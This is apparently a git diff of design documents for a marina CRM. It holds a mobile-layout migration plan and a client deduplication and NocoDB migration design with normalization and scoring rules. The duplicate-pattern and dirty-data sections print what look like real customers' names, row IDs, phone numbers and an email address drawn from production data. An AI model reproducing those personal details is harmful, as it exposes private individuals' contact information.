- **`<MobileLayout>`** (`src/components/layout/mobile/mobile-layout.tsx`)
|
||||
Fixed 52px compact topbar (safe-area aware) + scrollable content + fixed 56px bottom tab bar (safe-area inset). Renders instead of the desktop sidebar+topbar shell when the form factor resolves to mobile.
|
||||
|
||||
- **`<MobileTopbar>`**
|
||||
Page title (auto-truncating, single-line) + back button when route depth > 1 + single primary action slot (passed via context from the page) + port-switcher behind a `<Sheet>` trigger.
|
||||
|
||||
- **`<MobileBottomTabs>`**
|
||||
Fixed 5 tabs: **Dashboard / Clients / Yachts / Berths / More**. Active state from current path. Lucide icons (no emoji). Badge support for the alerts count.
|
||||
|
||||
- **`<MoreSheet>`**
|
||||
Bottom sheet opened by the More tab. Holds the long tail in a scrollable list grouped by section: Companies, Interests, Invoices, Expenses, Documents, Email, Alerts, Reports, Reminders, Settings, Admin (with admin nesting one level deep into a child sheet).
|
||||
|
||||
- **`<MobileLayoutProvider>`**
|
||||
React context that lets each page push its title, back button, and primary action slot to `<MobileTopbar>` via a hook (`useMobileChrome({ title, action })`).
|
||||
|
||||
### 3.3 Primitives
|
||||
|
||||
All built once in `src/components/shared/`. Render desktop-style above `lg`, mobile-style below.
|
||||
|
||||
- **`<Sheet>`** — vaul-based bottom sheet on mobile, falls through to existing Radix `<Dialog>` on desktop. Same API as `<Dialog>` so adoption is mechanical.
|
||||
- **`<DataView>`** — accepts the same column defs the codebase uses today via TanStack Table. Above `lg`: renders the existing table. Below `lg`: renders a card list with a per-row `cardRender({ row }) => ReactNode` callback. Filter chips stay above the list; sort moves into a `<Sheet>` opened by a sort button.
|
||||
- **`<PageHeader>`** — title + optional subtitle + actions. Truncates title to one line, stacks actions to a second row on mobile, hides subtitle below `sm` if action row is present.
|
||||
- **`<ActionRow>`** — chip-style action group; `flex-nowrap overflow-x-auto scroll-smooth snap-x` on mobile, no overflow on desktop.
|
||||
- **`<DetailPageShell>`** — wraps detail pages with: sticky compact header (entity name, primary status), tab dropdown selector (existing pattern, extracted), scrollable content area, optional sticky bottom action bar (Save / Archive / etc.) on mobile that pins above the bottom tab bar.
|
||||
- **`<FilterChips>`** — chip-row filter UI used by `<DataView>`. Active filters are dismissable chips; "Add filter" opens a `<Sheet>`.
|
||||
|
||||
### 3.4 Default style adjustments
|
||||
|
||||
- `<Button>` and `<Input>` defaults: `min-h-11` (44px, Apple HIG touch-target).
|
||||
- `<Input>` and `<Textarea>` body text: `text-base` (16px) so iOS doesn't zoom on focus.
|
||||
- `<Dialog>` default base styling tweaked so any remaining unmigrated dialogs render full-screen on mobile (until they get migrated to `<Sheet>`).
|
||||
|
||||
### 3.5 Bundle impact
|
||||
|
||||
Both shells render server-side and switch via the `data-form-factor` body attribute, so both ship to every client (dynamic-importing one would cause a hydration flash). Rough estimate ~40KB gzipped added to the layout subtree for the mobile shell + new primitives (vaul ≈ 5KB gz, the rest is in-house components). Verify post-build with `pnpm build` and adjust if it's materially higher. Acceptable trade for no flash and no UA-based render-time branching.
|
||||
|
||||
### 3.6 PWA assets
|
||||
|
||||
The PWA scanner already references `icon-192.png`, `icon-512.png`, `icon-512-maskable.png` from `public/`, but those files don't exist yet (separate flagged blocker). The mobile shell adds an `apple-touch-icon` reference too. The Foundation PR includes placeholder PNGs so home-screen install works; production-quality icons can replace them without a code change.
|
||||
|
||||
## 4. Per-page playbook
|
||||
|
||||
Once foundation lands, each page follows the same workflow:
|
||||
|
||||
1. Open the page in headed Playwright at the anchor viewports per §2.1 (start at 393×852 for the iteration loop, spot-check 375 and 440 before declaring done).
|
||||
2. Replace any `<Dialog>` with `<Sheet>`.
|
||||
3. If list page: wrap the table in `<DataView>` and provide a `cardRender` callback. The 2-3 fields shown on the card are decided per page during migration with the user.
|
||||
4. Replace the ad-hoc page header with `<PageHeader>`.
|
||||
5. Replace ad-hoc action button rows with `<ActionRow>`.
|
||||
6. Touch up any custom embedded widgets the page uses (rare for simple pages, common for `email`, `documents`, `expenses/scan`).
|
||||
7. User reviews live in the headed browser, points out tweaks, iterate.
|
||||
|
||||
Most pages take 5–15 minutes in this loop. Heavy pages (email inbox, documents hub) may take 30–60 because the embedded widgets need their own mobile treatment beyond the primitives.
|
||||
|
||||
## 5. Migration sequence
|
||||
|
||||
After foundation PR:
|
||||
|
||||
1. **Quick-win sweep** (~half day) — pages mostly fixed by foundation alone. Just need `<PageHeader>` swap-in (no list-card conversion, no detail-shell wrap):
|
||||
`dashboard` (overview), `settings` (user-profile), `reports`, and the admin sub-pages that are forms or stat cards: `admin/settings`, `admin/branding`, `admin/forms`, `admin/ocr`, `admin/roles`, `admin/tags`, `admin/documenso`, `admin/templates`, `admin/custom-fields`, `admin/monitoring`, `admin/backup`, `admin/webhooks`, `admin/import`, `admin/ports`.
|
||||
2. **List pages** (~1–2 days) — convert via `<DataView>` + per-page `cardRender`:
|
||||
`clients`, `yachts`, `companies`, `berths`, `interests`, `invoices`, `expenses`, `alerts`, `reminders`, `admin/audit`, `admin/users`.
|
||||
3. **Heavy pages** (~1 day each) — embedded widgets need their own mobile treatment beyond the primitives:
|
||||
`documents` (sig-tracking + filters from Phase A), `email` (thread list + reader + composer).
|
||||
4. **Detail pages** (~1–2 days) — wrap in `<DetailPageShell>`, extend the tab-dropdown pattern, add sticky bottom action shelf:
|
||||
`clients/[clientId]`, `yachts/[yachtId]`, `companies/[companyId]`, `berths/[berthId]`, `invoices/[id]`, `expenses/[id]`.
|
||||
5. **Forms & wizards** — touch-up only, since `<Input>`/`<Button>` defaults handle the bulk:
|
||||
`invoices/new` (3-step wizard), `expenses/scan` (already mobile-first, just verify).
|
||||
6. **Portal** — same patterns, smaller scope:
|
||||
authenticated: `portal/dashboard`, `portal/invoices`, `portal/my-yachts`, `portal/documents`, `portal/interests`, `portal/my-reservations`. Public: `portal/login`, `portal/activate`, `portal/forgot-password`, `portal/reset-password` (already styled by `<BrandedAuthShell>` — just verify).
|
||||
7. **Tablet pass** — re-audit at iPad Air 11" portrait (820×1180) and landscape (1180×820), iPad Air 13" portrait (1024×1366) and landscape (1366×1024). The 820 portrait case will hit the mobile shell (820 < 1024) and probably want a "tablet-portrait" treatment with sidebar visible — flagged for design refinement at that phase, not now. The other three viewports fall above `lg` and use the desktop shell unchanged.
|
||||
|
||||
## 6. Testing
|
||||
|
||||
- **Mobile audit project** (`mobile-audit` in `playwright.config.ts`) is the regression harness. Re-runs after every page-migration PR; output goes to `.audit/mobile/` (gitignored). Audit covers the four anchor viewports defined in §2.1: 375×667, 393×852, 402×874, 440×956. Run time ~14 min headed.
|
||||
- **Smoke project** gets a curated mobile-viewport variant (~10 pages at the 393×852 anchor) — adds ~2 min to CI; full audit stays out of CI to avoid the ~14 min cost.
|
||||
- **Visual baselines** — `visual` project gets new mobile snapshots at the 393×852 anchor for: dashboard, clients-list, clients-detail, invoices-list, invoices-new, scan, documents, login. Regenerate with `--update-snapshots` after intentional changes (existing convention).
|
||||
- **Anchor device descriptors** lifted into a shared fixture at `tests/e2e/fixtures/devices.ts` (one per anchor in §2.1) so specs don't redefine viewport.
|
||||
- **No new unit tests** for the primitives — they are presentational. Coverage comes from visual + integration runs.
|
||||
|
||||
## 7. Open questions
|
||||
|
||||
- **Bottom-tab taxonomy**: locked at Dashboard / Clients / Yachts / Berths / More for now. The More sheet holds everything else losslessly, so this is reversible — if real usage suggests a different top-5 (e.g., Interests or Invoices in the tabs), swap them later without code restructure.
|
||||
- **`refactor/data-model` push order**: 155 commits unpushed. Foundation PR can stack on top and rebase, or wait until that branch merges. Decision deferred to user.
|
||||
- **Desktop touch-target adjustments**: bumping `<Button>`/`<Input>` to `min-h-11` will affect desktop too. Verify visually that no desktop layout breaks; if any does, scope the bump to mobile-only via the `data-form-factor` attribute.
|
||||
|
||||
## 8. Files to create
|
||||
|
||||
```
|
||||
src/hooks/use-is-mobile.ts
|
||||
src/components/layout/mobile/
|
||||
mobile-layout.tsx
|
||||
mobile-topbar.tsx
|
||||
mobile-bottom-tabs.tsx
|
||||
more-sheet.tsx
|
||||
mobile-layout-provider.tsx
|
||||
src/components/shared/
|
||||
sheet.tsx (new — vaul wrapper)
|
||||
data-view.tsx (new — table↔card)
|
||||
page-header.tsx (new)
|
||||
action-row.tsx (new)
|
||||
detail-page-shell.tsx (new)
|
||||
filter-chips.tsx (new)
|
||||
src/app/layout.tsx (modified — viewport export, theme-color, UA-derived data-form-factor body attribute via headers())
|
||||
public/icon-192.png (placeholder PWA asset)
|
||||
public/icon-512.png (placeholder PWA asset)
|
||||
public/icon-512-maskable.png (placeholder PWA asset)
|
||||
public/apple-touch-icon.png (placeholder PWA asset)
|
||||
tailwind.config.ts (modified — safe-area utilities, touch-target defaults)
|
||||
tests/e2e/fixtures/devices.ts (new — shared device descriptors)
|
||||
```
|
||||
|
||||
## 9. Files to modify per page
|
||||
|
||||
Per the playbook in §4, each page typically needs:
|
||||
|
||||
- One swap of header markup → `<PageHeader>`.
|
||||
- For list pages: one wrap of table → `<DataView>` + add `cardRender` callback.
|
||||
- For detail pages: wrap in `<DetailPageShell>`.
|
||||
- Replace `<Dialog>` imports with `<Sheet>`.
|
||||
- No service, validator, query, or schema changes anywhere.
|
||||
@@ -1,564 +0,0 @@
|
||||
# Client Deduplication and NocoDB Migration Design
|
||||
|
||||
**Status**: Design draft 2026-05-03 — pending approval.
|
||||
**Plan decomposition**: Three implementation plans stack from this design — (P1) normalization + dedup core library; (P2) admin settings + at-create + interest-level guards (runtime); (P3) NocoDB migration script + review queue UI. P1 unblocks P2 and P3.
|
||||
**Branch base**: stacks on `feat/mobile-foundation` once it merges to `main`.
|
||||
**Out of scope**: live merge of two clients across ports (cross-tenant), automated AI-judged matches, profile-photo / face-match dedup, web-of-trust referrer relationships.
|
||||
|
||||
---
|
||||
|
||||
## 1. Background
|
||||
|
||||
### 1.1 Why this exists
|
||||
|
||||
The legacy CRM lives in a NocoDB base whose `Interests` table conflates _the human_ with _the deal_. A row contains `Full Name`, `Email Address`, `Phone Number`, `Address`, `Place of Residence` _and_ the sales-pipeline state for one specific berth. A single human pursuing two berths becomes two rows with semi-duplicated personal data. A 2026-05-03 read-only audit confirmed:
|
||||
|
||||
- **252 Interests rows** in NocoDB, against an estimated ~190–200 unique humans (~20–25% duplication rate).
|
||||
- **35 Residential Interests rows** in a parallel residential pathway with the same conflation.
|
||||
- **64 Website Interest Submissions + 47 Website Contact Form Submissions + 1 EOI Supplemental Form** as inbound capture surfaces.
|
||||
- **No Clients table.** The conflated structure is structural, not accidental.
|
||||
|
||||
The new CRM (`src/lib/db/schema/clients.ts`) splits this into `clients` (people) ↔ `interests` (deals), with `clientContacts` (multi-channel), `clientAddresses` (multi-address), and a pre-existing `clientMergeLog` table that anticipates merge with undo. The design has been ready; what's missing is (a) a normalization + matching library, (b) the at-create / at-import surfaces that use it, and (c) the migration of the existing 252+35 records.
|
||||
|
||||
### 1.2 Real duplicate patterns observed in the live data
|
||||
|
||||
Sampled 200 of the 252 NocoDB Interests rows. Confirmed duplicate clusters fall into six patterns:
|
||||
|
||||
| Pattern | Example rows | Signature |
|
||||
| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
||||
| **A. Pure double-submit** | Deepak Ramchandani #624/#625; John Lynch #716/#725 | All fields identical; created same day |
|
||||
| **B. Phone format variance** | Howard Wiarda #236/#536 (`574-274-0548` vs `+15742740548`); Christophe Zasso #701/#702 (`0651381036` vs `0033651381036`) | Same email, normalize-equal phone |
|
||||
| **C. Name capitalization** | Nicolas Ruiz #681/#682/#683; Jean-Charles Miege/MIEGE #37/#163; John Farmer/FARMER #35/#161 | Same email or empty; surname case differs |
|
||||
| **D. Name shortening** | Chris vs Christopher Allen #700/#534; Emma c vs Emma Cauchefer #661/#673 | Same email + phone; given-name truncated |
|
||||
| **E. Resubmit with typo** | Christopher Camazou #649/#650 (phone last 4 digits typo); Gianfranco Di Constanzo/Costanzo #585/#336 (surname typo, **different yacht** — should be ONE client + TWO interests) | Score-on-everything-else high, one field has small-edit-distance noise |
|
||||
| **F. Hard cases** | Etiennette Clamouze #188/#717 (same name, different country phone + email); Bruno Joyerot #18 with email belonging to Bruce Hearn #19 (couple sharing contact) | Cannot resolve without a human |
|
||||
|
||||
This dataset will be the fixture for the dedup library's tests — every pattern above must be either auto-detected or flagged for review, and the false-positive bar must be high enough that Pattern F doesn't get force-merged.
|
||||
|
||||
### 1.3 Dirty data inventory
|
||||
|
||||
The migration normalizer must survive these real values from production:
|
||||
|
||||
**Phone fields**: `+1-264-235-8840\r` (with carriage return), `'+1.214.603.4235` (apostrophe + dots), `0677580750/0690511494` (two numbers in one field), `00447956657022` (00 prefix), `+447000000000` (placeholder all-zeros), `+4901637039672` (impossible — stripped 0 + country prefix), various unprefixed local formats, dashed US numbers without country code.
|
||||
|
||||
**Email fields**: mixed case rampant (`Arthur@laser-align.com` vs `arthur@laser-align.com`); ALL-CAPS local parts; trailing whitespace.
|
||||
|
||||
**Name fields**: ALL-CAPS surnames mixed with title-case given names; embedded `\n` and `\r`; double spaces; lowercase-only entries; slash-with-company variants (`Daniel Wainstein / 7 Knots, LLC`, `Bruno Joyerot / SAS TIKI`); placeholder `Mr DADER`, `TBC`.
|
||||
|
||||
**Place of Residence (free text)**: `Saint barthelemy`, `St Barth`, `Saint-Barthélemy` (same place, three forms); `anguilla`, `United States `, `USA`, `Kansas City` (city without country), `Sag Harbor Y` (typo).
|
||||
|
||||
### 1.4 Existing battle-tested algorithm
|
||||
|
||||
`client-portal/server/utils/duplicate-detection.ts` already implements blocking + weighted-rules dedup against this same NocoDB. It runs in production today. We **port it forward** (don't reinvent), then add: soundex/metaphone for surname matching, compounded-confidence when multiple rules match, and negative evidence (same email + different country phone reduces confidence).
|
||||
|
||||
### 1.5 Why the website is no longer the source of new dirty data
|
||||
|
||||
The website forms (`website/components/pn/specific/website/{berths-item,register,form}/form.vue`) use `<v-phone-input>` with a country picker (`prefer-countries: ['US', 'GB', 'DE', 'FR']`) and `[(value) => !!value || 'Phone number is required']` validation. Output is E.164-shaped. The 252 dirty rows are legacy — pre-form-redesign submissions, sales-rep manual entries, and external CSV imports. Future inbound is clean.
|
||||
|
||||
---
|
||||
|
||||
## 2. Approach
|
||||
|
||||
Three artifacts, layered:
|
||||
|
||||
1. **A pure-logic normalization + matching library** at `src/lib/dedup/`. JSX-free, vitest-native (proven pattern: `realtime-invalidation-core.ts`). Tested against the dirty-data fixture corpus drawn from §1.2.
|
||||
2. **Three runtime surfaces** that use the library: at-create suggestion in client/interest forms; interest-level same-berth guard; admin review queue powered by a nightly background scoring job.
|
||||
3. **A one-shot migration script** that pulls NocoDB → normalizes → dedupes → writes new schema → produces a CSV report with auto-merge log + flagged-for-review pile.
|
||||
|
||||
**Configurability via admin settings** (`system_settings` per port) so the team can tune sensitivity without code changes. Defaults err on the safe side — a flagged review is cheaper than a wrongly-merged record.
|
||||
|
||||
**Reversibility**: every merge writes a `client_merge_log` row containing the loser's full pre-state JSON. A 7-day undo window lets a wrong merge be reversed without engineering involvement. After 7 days the snapshot is purged for GDPR; merges become permanent.
|
||||
|
||||
---
|
||||
|
||||
## 3. Normalization library
|
||||
|
||||
Lives at `src/lib/dedup/normalize.ts`. Pure functions, no DB, vitest-tested. Used by the dedup algorithm AND by all create-paths so what gets stored is already normalized.
|
||||
|
||||
### 3.1 `normalizeName(raw: string)`
|
||||
|
||||
```ts
|
||||
export function normalizeName(raw: string): {
|
||||
display: string; // human-readable, kept for UI
|
||||
normalized: string; // for matching
|
||||
surnameToken?: string; // for surname-based blocking
|
||||
};
|
||||
```
|
||||
|
||||
- Trim leading/trailing whitespace
|
||||
- Replace `\r`, `\n`, tabs with single space
|
||||
- Collapse consecutive whitespace to single space
|
||||
- Smart title-case: keep particles (`van`, `de`, `del`, `O'`, `di`, `le`, `da`) lowercase except as first token
|
||||
- `display` preserves user's intent (slash-with-company stays intact)
|
||||
- `normalized` is `display.toLowerCase()` for comparison
|
||||
- `surnameToken` is the last non-particle token for blocking
|
||||
|
||||
### 3.2 `normalizeEmail(raw: string)`
|
||||
|
||||
```ts
|
||||
export function normalizeEmail(raw: string): string | null;
|
||||
```
|
||||
|
||||
- Trim + lowercase
|
||||
- Validate via `zod.email()` schema
|
||||
- Returns `null` for empty / invalid (caller decides what to do)
|
||||
- **Does NOT strip plus-aliases** (`user+tag@domain.com`) — both intentional (real distinct addresses) and malicious-prevention apply. Compare by full localpart.
|
||||
|
||||
### 3.3 `normalizePhone(raw: string, defaultCountry: string)`
|
||||
|
||||
```ts
|
||||
export function normalizePhone(
|
||||
raw: string,
|
||||
defaultCountry: string,
|
||||
): {
|
||||
e164: string | null; // canonical, e.g. '+15742740548'
|
||||
country: string | null; // ISO-3166-1 alpha-2
|
||||
display: string | null; // user-facing pretty
|
||||
flagged?: 'multi_number' | 'placeholder' | 'unparseable';
|
||||
} | null;
|
||||
```
|
||||
|
||||
Pipeline:
|
||||
|
||||
1. Strip `\r`, `\n`, tabs, single quotes, dots, dashes, parens, spaces
|
||||
2. If contains `/` or `;` or `,` → flag `multi_number`, take first segment
|
||||
3. If matches `+\d{2}0+$` (e.g., `+447000000000`) → flag `placeholder`, return null
|
||||
4. If starts with `00` → replace with `+`
|
||||
5. If starts with `+` → parse as E.164
|
||||
6. Else if `defaultCountry` provided → parse against that country
|
||||
7. Else return null (caller's problem)
|
||||
|
||||
Backed by `libphonenumber-js` (already in deps via `tests/integration/factories.ts` usage if not, will add). The hostile cases above all need explicit handling — naïve regex won't survive.
|
||||
|
||||
### 3.4 `resolveCountry(text: string)`
|
||||
|
||||
```ts
|
||||
export function resolveCountry(text: string): {
|
||||
iso: string | null; // ISO-3166-1 alpha-2
|
||||
confidence: 'exact' | 'fuzzy' | 'city' | null;
|
||||
};
|
||||
```
|
||||
|
||||
Reuses `src/lib/i18n/countries.ts`. Pipeline:
|
||||
|
||||
1. Lowercase + strip diacritics
|
||||
2. Exact match against country names (any locale we ship)
|
||||
3. Fuzzy match (Levenshtein ≤ 2 against canonical English names)
|
||||
4. City fallback — small in-package mapping for high-frequency cities seen in legacy data (`Sag Harbor → US`, `Kansas City → US`, `St Barth → BL`, etc.). Order: exact → city → fuzzy.
|
||||
|
||||
The mapping is opinionated and small (~30 entries covering the actual values seen in the 252-row dataset). Anything that fails to resolve returns `null` and lands in the migration's flagged pile.
|
||||
|
||||
---
|
||||
|
||||
## 4. Dedup algorithm
|
||||
|
||||
Lives at `src/lib/dedup/find-matches.ts`. Pure function. Vitest-tested against the §1.2 cluster fixtures.
|
||||
|
||||
### 4.1 Public API
|
||||
|
||||
```ts
|
||||
export interface MatchCandidate {
|
||||
id: string;
|
||||
fullName: string | null;
|
||||
emails: string[]; // already normalized
|
||||
phonesE164: string[]; // already normalized E.164
|
||||
countryIso: string | null;
|
||||
}
|
||||
|
||||
export interface MatchResult {
|
||||
candidate: MatchCandidate;
|
||||
score: number; // 0–100
|
||||
reasons: string[]; // human-readable, e.g. ["email match", "phone match"]
|
||||
confidence: 'high' | 'medium' | 'low';
|
||||
}
|
||||
|
||||
export function findClientMatches(
|
||||
input: MatchCandidate,
|
||||
pool: MatchCandidate[],
|
||||
thresholds: DedupThresholds,
|
||||
): MatchResult[];
|
||||
```
|
||||
|
||||
### 4.2 Scoring rules (compound)
|
||||
|
||||
Each rule produces a score addition. **Compounding**: when two strong rules match (e.g., email AND phone), the result is ~95+ rather than max(50, 50). Negative evidence subtracts.
|
||||
|
||||
| Rule | Score | Notes |
|
||||
| --------------------------------------------------------------- | ----- | ------------------------------------------------------ |
|
||||
| Exact email match (case-insensitive, normalized) | +60 | One match suffices |
|
||||
| Exact phone E.164 match (≥ 8 significant digits) | +50 | Excludes placeholder all-zeros |
|
||||
| Exact normalized full-name match | +20 | Many "John Smith"s exist |
|
||||
| Surname soundex match + given-name fuzzy match (Lev ≤ 1) | +15 | Catches `Constanzo/Costanzo`, `Christophe/Christopher` |
|
||||
| Same address (normalized fuzzy ≥ 0.8) | +10 | Bonus signal |
|
||||
| **Negative**: Same email but different country code on phone | −15 | Suggests spouse / coworker / shared inbox |
|
||||
| **Negative**: Same name but DIFFERENT email AND DIFFERENT phone | −20 | Two distinct people with the same name |
|
||||
|
||||
### 4.3 Confidence tiers (post-compound)
|
||||
|
||||
- **score ≥ 90 — `high`** — email AND phone match, or email + name + address. Block-create suggest "Use existing." Auto-link on public-form submit by default.
|
||||
- **score 50–89 — `medium`** — single strong signal (email or phone alone), or email + same-name + different country (Etiennette case). Soft-warn but allow.
|
||||
- **score < 50 — `low`** — weak signals only. Don't surface in UI; only relevant in background-job review queue.
|
||||
|
||||
### 4.4 Blocking strategy
|
||||
|
||||
For O(n) scan over a pool of N existing clients, build three lookup maps once per scan:
|
||||
|
||||
- `byEmail: Map<string, MatchCandidate[]>` — keyed by normalized email
|
||||
- `byPhoneE164: Map<string, MatchCandidate[]>` — keyed by E.164
|
||||
- `bySurnameToken: Map<string, MatchCandidate[]>` — keyed by `normalizeName(...).surnameToken`
|
||||
|
||||
For an incoming `MatchCandidate`, the candidate set to compare is the union of pool entries reachable through any of its emails/phones/surname-token. Typically 0–5 candidates per query, regardless of N.
|
||||
|
||||
### 4.5 Performance budget
|
||||
|
||||
For migration: 252 rows compared pairwise once. ~30k comparisons after blocking — a few seconds.
|
||||
|
||||
For runtime at-create: incoming candidate against existing pool of N clients per port. Expected pool size at maturity: 1k–10k. With blocking: <10 comparisons, <1ms target. No DB query needed beyond the initial pool fetch (which itself uses the indexed columns).
|
||||
|
||||
For background nightly job: full pairwise within port, blocked. 10k clients → ~50k pairwise checks per port → <30s. Fine for a nightly cron.
|
||||
|
||||
---
|
||||
|
||||
## 5. Configurable thresholds (admin settings)
|
||||
|
||||
New rows in `system_settings` per port. Default values err safe (more confirmation, less auto-action).
|
||||
|
||||
| Key | Default | Effect |
|
||||
| ------------------------------ | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| `dedup_block_create_threshold` | `90` | Score above which the client-create form interrupts: "Use existing client?" |
|
||||
| `dedup_soft_warn_threshold` | `50` | Score above which a soft-warn panel surfaces below the form |
|
||||
| `dedup_review_queue_threshold` | `40` | Background job lands pairs ≥ this score in `/admin/duplicates` |
|
||||
| `dedup_public_form_auto_link` | `true` | When a public-form submission scores ≥ block-threshold against existing client, attach the new interest to that client without prompting. **Safe**: no merge, just attaching a deal. |
|
||||
| `dedup_auto_merge_threshold` | `null` (disabled) | If non-null, merges happen automatically at this threshold without human confirmation. Recommend leaving null until the team is comfortable; `95` is a reasonable cautious value. |
|
||||
| `dedup_undo_window_days` | `7` | How long the loser's pre-state JSON is retained for merge-undo. After this, the snapshot is purged (GDPR) and merges are permanent. |
|
||||
|
||||
Each setting is a row in `system_settings`. UI surface in `/[portSlug]/admin/dedup` (a new admin page) with an "Advanced" toggle to expose the thresholds and brief explanations.
|
||||
|
||||
If the sales team complains the safer mode is too click-heavy, an admin flips `dedup_auto_merge_threshold` to `95` without any code change.
|
||||
|
||||
---
|
||||
|
||||
## 6. Merge service contract
|
||||
|
||||
### 6.1 Data flow
|
||||
|
||||
`mergeClients(winnerId, loserId, fieldChoices, ctx)` does, in a single transaction:
|
||||
|
||||
1. **Snapshot loser** — full row + all attached `clientContacts`, `clientAddresses`, `clientNotes`, `clientTags`, plus a count of dependent rows about to be moved (interests, yacht-memberships, etc.). Stored as `mergeDetails` JSONB in `clientMergeLog`.
|
||||
2. **Reattach** — every row pointing at `loserId` updates to point at `winnerId`:
|
||||
- `interests.clientId`
|
||||
- `clientContacts.clientId` — with conflict handling: if winner already has the same email, keep winner's; flag the duplicate for the user
|
||||
- `clientAddresses.clientId` — same conflict handling
|
||||
- `clientNotes.clientId` — preserve `authorId` + `createdAt` (never overwrite)
|
||||
- `clientTags.clientId`
|
||||
- `clientYachtMembership.clientId` (or whatever the table is called)
|
||||
- `auditLogs.entityId` — annotate, don't move (audit truth)
|
||||
3. **Apply fieldChoices** — for each field where the user picked the loser's value, copy that into the winner row.
|
||||
4. **Soft-archive loser** — `loser.archivedAt = now()`, `loser.mergedIntoClientId = winnerId`. Row stays in DB so the merge is reversible.
|
||||
5. **Write `clientMergeLog`** — `{ winnerId, loserId, mergedBy, mergedAt, mergeDetails: <snapshot>, fieldChoices }`.
|
||||
6. **Audit log** — top-level `auditLogs` row: `{ action: 'merge', entityType: 'client', entityId: winnerId, metadata: { loserId, score, reasons } }`.
|
||||
|
||||
### 6.2 Schema additions (migration)
|
||||
|
||||
`clients` table gets a new column:
|
||||
|
||||
```ts
|
||||
mergedIntoClientId: text('merged_into_client_id').references(() => clients.id),
|
||||
```
|
||||
|
||||
The existing `clientMergeLog` table is reused. Add a partial index for the undo-window query:
|
||||
|
||||
```sql
|
||||
CREATE INDEX idx_cml_recent ON client_merge_log (port_id, created_at DESC) WHERE created_at > NOW() - INTERVAL '7 days';
|
||||
```
|
||||
|
||||
A daily maintenance job (using the existing `maintenance-cleanup.test.ts` infrastructure) purges `mergeDetails` JSONB older than `dedup_undo_window_days` setting.
|
||||
|
||||
### 6.3 Undo
|
||||
|
||||
`unmergeClients(mergeLogId, ctx)`:
|
||||
|
||||
1. Within the undo window, look up the snapshot
|
||||
2. Restore loser: clear `archivedAt`, `mergedIntoClientId`
|
||||
3. Restore loser's contacts/addresses/notes/tags from snapshot
|
||||
4. Detach reattached rows: `interests` etc. that were touching `winnerId` and originally belonged to loser go back. The snapshot stores the original `(rowType, rowId)` list explicitly so this is deterministic.
|
||||
5. Mark log row `undoneAt = now()`, `undoneBy = userId`
|
||||
|
||||
After 7 days the snapshot is gone and unmerge returns `410 Gone`.
|
||||
|
||||
### 6.4 Concurrency
|
||||
|
||||
Both merge and unmerge wrap in a single transaction with `SELECT … FOR UPDATE` on `clients.id` of both winner and loser. A second merge attempt against the same loser sees `mergedIntoClientId` already set and refuses (clear error: "Already merged into …").
|
||||
|
||||
---
|
||||
|
||||
## 7. Runtime surfaces
|
||||
|
||||
### 7.1 Layer 1 — At-create suggestion
|
||||
|
||||
In `ClientForm` (and the public `register` form once that hits the new system):
|
||||
|
||||
- Debounced 300ms after email or phone field changes
|
||||
- Calls `findClientMatches` against current port's clients
|
||||
- Renders top-1 match if score ≥ `dedup_soft_warn_threshold`:
|
||||
```
|
||||
┌─────────────────────────────────────┐
|
||||
│ This looks like an existing client │
|
||||
│ ML Marcus Laurent │
|
||||
│ marcus@… +33 6 12 34 56 78 │
|
||||
│ 2 interests · last 9d ago │
|
||||
│ [ Use this client ] [ Create new ] │
|
||||
└─────────────────────────────────────┘
|
||||
```
|
||||
- "Use this client" → form switches to "create new interest under existing client" mode (preserves whatever other fields the user typed)
|
||||
- "Create new" → audit-log `dedup_override` with the candidate's id and reasons (so we have data on false positives)
|
||||
|
||||
### 7.2 Layer 2 — Interest-level same-berth guard
|
||||
|
||||
Cheap one-liner in `createInterest` service:
|
||||
|
||||
- Check `(clientId, berthId)` against existing non-archived interests
|
||||
- If hit, throw `BerthDuplicateError` with the existing interest details
|
||||
- UI catches and prompts: "Update existing or create separate?"
|
||||
|
||||
This is NOT the same as client-level dedup. Same client legitimately can pursue the same berth a second time after it falls through. But the prompt-before-create catches the accidental double-submit case.
|
||||
|
||||
### 7.3 Layer 3 — Background scoring + review queue
|
||||
|
||||
- A nightly cron (using existing BullMQ infrastructure — search for `scheduled-tasks` in repo) runs `findClientMatches` over each port's full client pool
|
||||
- Pairs scoring ≥ `dedup_review_queue_threshold` land in a `client_merge_candidates` table:
|
||||
```ts
|
||||
export const clientMergeCandidates = pgTable('client_merge_candidates', {
|
||||
id: text('id').primaryKey()...,
|
||||
portId: text('port_id').notNull()...,
|
||||
clientAId: text('client_a_id').notNull()...,
|
||||
clientBId: text('client_b_id').notNull()...,
|
||||
score: integer('score').notNull(),
|
||||
reasons: jsonb('reasons').notNull(),
|
||||
status: text('status').notNull().default('pending'), // pending | dismissed | merged
|
||||
createdAt: timestamp('created_at')...,
|
||||
resolvedAt: timestamp('resolved_at'),
|
||||
resolvedBy: text('resolved_by'),
|
||||
})
|
||||
```
|
||||
- `/[portSlug]/admin/duplicates` lists pending candidates sorted by score desc, with `[Review →]` opening a side-by-side merge dialog
|
||||
- Dismissing a candidate marks it `status=dismissed` so the job doesn't re-surface the same pair tomorrow (a future score increase re-creates it).
|
||||
|
||||
---
|
||||
|
||||
## 8. NocoDB → new system field mapping
|
||||
|
||||
This is the explicit mapping the migration script applies. One NocoDB Interest row produces multiple new rows.
|
||||
|
||||
### 8.1 Top-level transform
|
||||
|
||||
```
|
||||
NocoDB Interests row
|
||||
─→ 0–1 client (deduped against existing pool)
|
||||
─→ 0–1 client_address
|
||||
─→ 0–2 client_contacts (email, phone)
|
||||
─→ exactly 1 interest
|
||||
─→ 0–1 yacht (when Yacht Name present and not "TBC"/"Na"/empty placeholders)
|
||||
─→ 0–1 document (when documensoID present)
|
||||
```
|
||||
|
||||
### 8.2 Field map
|
||||
|
||||
| NocoDB field | Target | Transform |
|
||||
| ----------------------------------------------------------------- | ------------------------------------------------------------------ | ---------------------------------------------------------------------------- |
|
||||
| `Full Name` | `clients.fullName` | `normalizeName().display` |
|
||||
| `Email Address` | `clientContacts(channel='email', value=...)` | `normalizeEmail()` |
|
||||
| `Phone Number` | `clientContacts(channel='phone', valueE164=..., valueCountry=...)` | `normalizePhone(raw, defaultCountry)` |
|
||||
| `Address` | `clientAddresses.streetAddress` (LongText preserved) | trim |
|
||||
| `Place of Residence` | `clientAddresses.countryIso` AND `clients.nationalityIso` | `resolveCountry()` |
|
||||
| `Contact Method Preferred` | `clients.preferredContactMethod` | lowercase, mapped: Email→email, Phone→phone |
|
||||
